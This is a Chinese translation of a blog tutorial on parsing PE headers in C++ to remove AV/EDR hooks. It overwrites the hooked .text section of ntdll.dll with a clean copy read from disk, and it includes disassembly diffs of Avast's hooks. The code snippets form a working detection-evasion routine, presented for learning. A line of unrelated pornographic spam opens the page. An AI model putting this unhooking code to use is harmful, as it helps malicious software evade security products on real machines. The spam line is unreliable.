自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

用c++解析PE 繞過AV/EDR API掛鉤

企業(yè)動態(tài)
這篇文章涵蓋了幾個主題,比如系統(tǒng)調(diào)用、用戶模式與內(nèi)核模式,以及我在本文將要介紹的Windows體系結(jié)構(gòu)。

[[342999]]

 這篇文章是使用最初是由@spotless編寫的代碼來繞過AV/ EDR創(chuàng)建的API掛鉤。我想說明的是,spotless已經(jīng)在這方面做了一些準(zhǔn)備工作,我只是做了一些小的功能更改,并添加了許多注釋和文檔。這主要是為了提高我對這個主題的理解,因為我發(fā)現(xiàn)在手頭有MSDN文檔的情況下逐個函數(shù)地瀏覽代碼是了解它如何工作的好方法。它可能有點單調(diào)乏味,這就是為什么我對代碼進(jìn)行過多的文檔化,以便其他人能夠從中吸取經(jīng)驗。

這篇文章涵蓋了幾個主題,比如系統(tǒng)調(diào)用、用戶模式與內(nèi)核模式,以及我在本文將要介紹的Windows體系結(jié)構(gòu)。在這篇文章中,我將在本文中假定對這些主題有一定程度的了解,這篇文章的代碼可以在這里找到。

理解API掛鉤

鉤到底是什么?它是AV/EDR產(chǎn)品常用的一種技術(shù),用于攔截函數(shù)調(diào)用,并將代碼執(zhí)行流程重定向到AV/EDR,以檢查調(diào)用并確定是否為惡意調(diào)用。這是一項功能強(qiáng)大的技術(shù),因為防御性應(yīng)用程序可以一步一步查看你進(jìn)行的每個函數(shù)調(diào)用,確定其是否為惡意程序并將其阻止。更糟糕的是(對于攻擊者來說),這些產(chǎn)品在系統(tǒng)庫/ DLL中掛鉤本地函數(shù),這些DLL位于傳統(tǒng)使用的Win32 API之下。例如,WriteProcessMemory是一種常用的Win32 API,用于將shellcode寫入進(jìn)程地址空間,實際上調(diào)用了ntdll.dll中包含的未文檔化的本機(jī)函數(shù)NtWriteVirtualMemory。 NtWriteVirtualMemory實際上是對內(nèi)核模式的系統(tǒng)調(diào)用的包裝函數(shù)。由于AV / EDR產(chǎn)品能夠在用戶模式代碼可訪問的最低級別上掛接函數(shù)調(diào)用,因此無法對其進(jìn)行轉(zhuǎn)義。

掛鉤發(fā)生的位置

為了理解如何繞過掛鉤,我們需要知道它們是如何以及在哪里創(chuàng)建的。當(dāng)進(jìn)程啟動時,某些庫或DLL將作為模塊加載到進(jìn)程地址空間中。每個應(yīng)用程序都是不同的,將加載不同的庫,但無論它們的功能如何,實際上所有的應(yīng)用程序都將使用ntdll.dll,因為許多最常見的Windows函數(shù)都駐留在其中。防御性產(chǎn)品通過在DLL中連接函數(shù)調(diào)用來利用這一事實。通過掛鉤,我們實際上是指修改函數(shù)的匯編指令,在函數(shù)的開頭插入一個無條件跳轉(zhuǎn)到EDR的代碼中。EDR處理函數(shù)調(diào)用,如果允許,執(zhí)行流將跳回原始函數(shù)調(diào)用,以便函數(shù)正常執(zhí)行,而調(diào)用進(jìn)程不知情。

識別掛鉤

所以我們知道在我們的進(jìn)程中,ntdll.dll模塊已經(jīng)被修改,我們不能相信任何使用它的函數(shù)調(diào)用。我們怎樣才能解開這些掛鉤呢?我們可以確定我們所使用的Windows的確切版本,找出實際的組裝說明應(yīng)該是什么,并嘗試在運(yùn)行中修補(bǔ)它們。但是這樣做會很乏味,容易出錯,而且不可重用。事實證明,磁盤上已經(jīng)存在一個原始的,未經(jīng)修改的,未經(jīng)摘錄的ntdll.dll版本!

因此,正確的策略應(yīng)該如下。首先,我們將ntdll.dll的副本映射到我們的進(jìn)程內(nèi)存中,以使用一個干凈的版本。然后,我們將在過程中確定掛鉤版本的位置。最后,我們只需用干凈的代碼重寫掛鉤的代碼,就可以了!

映射NtDLL.dll

映射ntdll.dll文件的視圖實際上非常簡單,我們獲得了ntdll.dll的句柄,獲得了它的文件映射的句柄,并將其映射到我們的進(jìn)程中:

  1. HANDLE hNtdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);HANDLE hNtdllFileMapping = CreateFileMapping(hNtdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 1, 0, NULL);LPVOID ntdllMappingAddress = MapViewOfFile(hNtdllFileMapping, FILE_MAP_READ, 0, 0, 0); 

很簡單,現(xiàn)在我們已經(jīng)將干凈的DLL映射到我們的地址空間中,現(xiàn)在我們來查找掛鉤副本。

要在進(jìn)程內(nèi)存中找到掛鉤的ntdll.dll的位置,我們需要在進(jìn)程中加載的模塊列表中找到它。本例中的模塊是DLL和進(jìn)程的主要可執(zhí)行文件,在進(jìn)程環(huán)境塊中存儲了它們的列表。PEB的具體介紹請點擊這里。要訪問這個列表,我們可以獲取流程和所需模塊的句柄,然后調(diào)用GetModuleInformation。然后,我們可以從miModuleInfo結(jié)構(gòu)中檢索DLL的基地址:

  1. handle hCurrentProcess = GetCurrentProcess(); 
  2. HMODULE hNtdllModule = GetModuleHandleA("ntdll.dll"); 
  3. MODULEINFO miModuleInfo = {}; 
  4. GetModuleInformation(hCurrentProcess, hNtdllModule, &miModuleInfo, sizeof(miModuleInfo)); 
  5. LPVOID pHookedNtdllBaseAddress = (LPVOID)miModuleInfo.lpBaseOfDll; 

好的,因此我們在進(jìn)程中具有已加載的ntdll.dll模塊的基地址。但這到底是什么意思?DLL是一種與EXE一起可移植的可執(zhí)行文件。這意味著它是一個可執(zhí)行文件,因此包含各種不同類型的標(biāo)頭文件和節(jié),這些文件可讓操作系統(tǒng)知道如何加載和執(zhí)行該文件。如上所示PE標(biāo)頭是密集而復(fù)雜的,但是我發(fā)現(xiàn)看到一個實際的工作示例僅利用了其中的一部分,就很容易理解。哦,圖片也不會受傷。那里有很多細(xì)節(jié)級別各不相同的東西,但是來自Wikipedia的一個很好的示例有足夠的細(xì)節(jié)而又不至于太令人費(fèi)解:

 

你可以在DOS標(biāo)頭的PE開頭看到Windows的遺留物,它一直都在那兒,但現(xiàn)在已經(jīng)沒有什么用處了。但是,我們將獲取其地址,作為獲取實際PE標(biāo)頭的偏移量:

  1. PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)pHookedNtdllBaseAddress; 
  2. PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pHookedNtdllBaseAddress + hookedDosHeader->e_lfanew); 

在這里,hookedDosHeader結(jié)構(gòu)體的e_lfanew字段包含一個到模塊內(nèi)存的偏移量,該偏移量標(biāo)識PE標(biāo)頭文件實際上從哪里開始,也就是上圖中的COFF頭文件。

現(xiàn)在我們位于PE標(biāo)頭的開頭,我們可以開始對其進(jìn)行解析以查找所需的內(nèi)容。但是,讓我們退后一步,準(zhǔn)確地確定我們在尋找什么,這樣我們就知道什么時候我們找到了它。

每個可執(zhí)行文件/ PE都有許多部分,這些部分代表程序中各種類型的數(shù)據(jù)和代碼,例如實際的可執(zhí)行代碼、資源、圖像、圖標(biāo)等。這些類型的數(shù)據(jù)在可執(zhí)行文件中分為不同的帶標(biāo)簽的部分,命名為.text、.data、.rdata和.rsrc。.text節(jié)(有時也稱為.code節(jié))是緊隨其后的,因為它包含組成ntdll.dll的匯編語言指令。

那么我們?nèi)绾卧L問這些部分呢?在上圖中,我們看到一個節(jié)表,其中包含一個指向每個節(jié)開始的指針的數(shù)組。非常適合遍歷和查找每個部分,這是通過使用for循環(huán)并遍歷掛鉤edNtHeader-> FileHeader.NumberOfSections字段的每個值來找到.text部分的方法:

  1. for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) 
  2.     // loop through each section offset 

從現(xiàn)在開始,別忘了我們將在循環(huán)中尋找.text部分。為了識別它,我們使用循環(huán)計數(shù)器i作為節(jié)表本身的索引,并獲得指向節(jié)頭的指針

  1. PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); 

每個節(jié)的節(jié)標(biāo)題包含該節(jié)的名稱,因此,我們可以查看每一個,看看它們是否與.text匹配:

  1. if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) 
  2.     // process the header 

無論如何它的標(biāo)頭如何,我們找到了.text節(jié)!現(xiàn)在我們需要知道該部分中實際代碼的大小和位置。本節(jié)標(biāo)頭包含了以下兩方面內(nèi)容:

  1. LPVOID hookedVirtualAddressStart = (LPVOID)((DWORD_PTR)pHookedNtdllBaseAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress); 
  2. SIZE_T hookedVirtualAddressSize = hookedSectionHeader->Misc.VirtualSize; 

現(xiàn)在,我們有了所有需要的東西,我們可以用磁盤上的干凈的ntdll.dll重寫加載和鉤住的ntdll.dll模塊的.text部分:

· 要復(fù)制的源文件(磁盤上的內(nèi)存映射文件ntdll.dll);要復(fù)制到的目的地(.text節(jié)的hookedSectionHeader->VirtualAddress);

· 復(fù)制的字節(jié)數(shù)(hookedSectionHeader->Misc.VirtualSize字節(jié))。

保存的輸出

至此,我們保存了.text節(jié)的全部內(nèi)容,因此我們可以對其進(jìn)行檢查,并將其與干凈版本進(jìn)行比較,從而知道解除鏈接成功了:

  1. char* hookedBytes{ new char[hookedVirtualAddressSize] {} }; 
  2. memcpy_s(hookedBytes, hookedVirtualAddressSize, hookedVirtualAddressStart, hookedVirtualAddressSize); 
  3. saveBytes(hookedBytes, "hooked.txt", hookedVirtualAddressSize) 

這僅是掛鉤.text節(jié)的一個副本,并調(diào)用saveBytes函數(shù),該函數(shù)將字節(jié)寫入一個名為hook .txt的文本文件,稍后我們將研究這個文件。

內(nèi)存管理

為了重寫.text部分的內(nèi)容,我們需要保存當(dāng)前的內(nèi)存保護(hù)并將其更改為讀/寫/執(zhí)行,完成后,我們將其改回來

  1. bool isProtected; 
  2. isProtected = VirtualProtect(hookedVirtualAddressStart, hookedVirtualAddressSize, PAGE_EXECUTE_READWRITE, &oldProtection); 
  3. // overwrite the .text section here 
  4. isProtected = VirtualProtect(hookedVirtualAddressStart, hookedVirtualAddressSize, oldProtection, &oldProtection); 

繞過過程

我們終于到了繞過過程,首先,我們從獲取內(nèi)存映射的ntdll.dll的開頭地址開始,作為我們的復(fù)制源:

  1. LPVOID cleanVirtualAddressStart = (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress); 

我們還要保存這些字節(jié),以便稍后進(jìn)行比較:

  1. char* cleanBytes{ new char[hookedVirtualAddressSize] {} }; 
  2. memcpy_s(cleanBytes, hookedVirtualAddressSize, cleanVirtualAddressStart, hookedVirtualAddressSize); 
  3. saveBytes(cleanBytes, "clean.txt", hookedVirtualAddressSize); 

現(xiàn)在我們可以用未鉤住的ntdll.dll重寫.text部分:

  1. memcpy_s(hookedVirtualAddressStart, hookedVirtualAddressSize, cleanVirtualAddressStart, hookedVirtualAddressSize); 

怎么知道是否被繞過了?

那么我們怎么知道我們實際上刪除了掛鉤,而不是移動了一堆字節(jié)呢?讓我們檢查一下輸出文件hook .txt和clean.txt。這里我們使用VBinDiff對它們進(jìn)行比較,第一個示例是在沒有安裝AV/EDR產(chǎn)品的測試設(shè)備上運(yùn)行程序,正如預(yù)期的那樣,加載的ntdll和磁盤上的ntdll是相同的:

因此,讓我們再次在運(yùn)行有掛鉤的Avast Free Antivirus的計算機(jī)上再次運(yùn)行它:

 

 

現(xiàn)在,讓我們看看hooked.txt的開頭和clean.txt的結(jié)尾,它們之間有明顯的區(qū)別,用紅色標(biāo)出。我們可以獲取這些原始字節(jié),這些原始字節(jié)實際上代表匯編指令,然后使用在線反匯編程序?qū)⑺鼈冝D(zhuǎn)換為其匯編表示。

以下就是干凈的ntdll.dll的反匯編結(jié)果:

  1. mov    QWORD PTR [rsp+0x20],r9 
  2. mov    QWORD PTR [rsp+0x10],rdx 

以下就是掛鉤后的版本:

  1. jmp    0xffffffffc005b978 
  2. int3 
  3. int3 
  4. int3 
  5. int3 
  6. int3 

可以看到一個清晰的jump! ,這意味著當(dāng)它被加載到我們的進(jìn)程中時,ntdll.dll中的某些內(nèi)容已經(jīng)發(fā)生了明顯的變化。

但是我們怎么知道它實際上是在連接一個函數(shù)調(diào)用呢?讓我們看看能不能找到更多的答案。這是頂部掛鉤的DLL和底部干凈的DLL之間的另一個差異示例:

首先清理DLL:

  1. mov    r10,rcx 
  2. mov    eax,0x37 
  3. mov    r10,rcx 
  4. mov    eax,0x3a 

掛鉤的DLL:

  1. jmp    0xffffffffbffe5318 
  2. int3 
  3. int3 
  4. int3 
  5. jmp    0xffffffffbffe4cb8 
  6. int3 
  7. int3 
  8. int3 

現(xiàn)在,我們看到了更多的跳躍。但是這些mov eax和編號指令是什么意思?這些是系統(tǒng)調(diào)用號碼!如果你閱讀了我以前的文章,我將介紹如何以及為什么在匯編中準(zhǔn)確找到這些內(nèi)容。這個想法是使用syscall號直接調(diào)用底層函數(shù),以避免掛鉤!但是,如果你想運(yùn)行尚未編寫的代碼怎么辦?如何防止這些掛鉤捕獲你無法更改的代碼?如果你到目前為止已經(jīng)做到了,那么你已經(jīng)知道了!因此,讓我們使用Mateusz“j00ru”Jurczyk的簡化版Windows系統(tǒng)調(diào)用表,并將syscall編號與其相應(yīng)的函數(shù)調(diào)用進(jìn)行匹配。

看看,我們發(fā)現(xiàn)了什么?0x37是NtOpenSection, 0x3a是NtWriteVirtualMemory! ,Avast 顯然是在連接這些函數(shù)調(diào)用,而且我們知道我們已經(jīng)用干凈的DLL重寫了它們。

本文翻譯自:https://www.solomonsklash.io/pe-parsing-defeating-hooking.html如若轉(zhuǎn)載,請注明原文地址:

 

責(zé)任編輯:姜華 來源: 嘶吼網(wǎng)
相關(guān)推薦

2017-11-06 05:52:52

2024-01-04 11:48:32

EDRHook堆棧

2012-08-03 08:57:37

C++

2023-10-30 10:29:50

C++最小二乘法

2011-04-11 09:43:25

C++C

2010-01-25 18:24:11

C++

2010-01-27 10:22:53

C++基類

2010-01-21 11:23:58

C++函數(shù)調(diào)用

2024-10-16 16:36:22

2024-07-26 17:59:23

2025-03-07 10:28:30

2010-01-15 17:38:37

C++語言

2024-12-13 15:40:54

2013-06-24 15:32:00

c++GCC

2010-05-14 15:23:03

2010-02-05 12:57:20

C++ kdevelo

2010-01-28 13:15:43

C++參數(shù)

2010-02-01 16:40:14

C++枚舉子

2023-11-09 23:31:02

C++函數(shù)調(diào)用
點贊
收藏

51CTO技術(shù)棧公眾號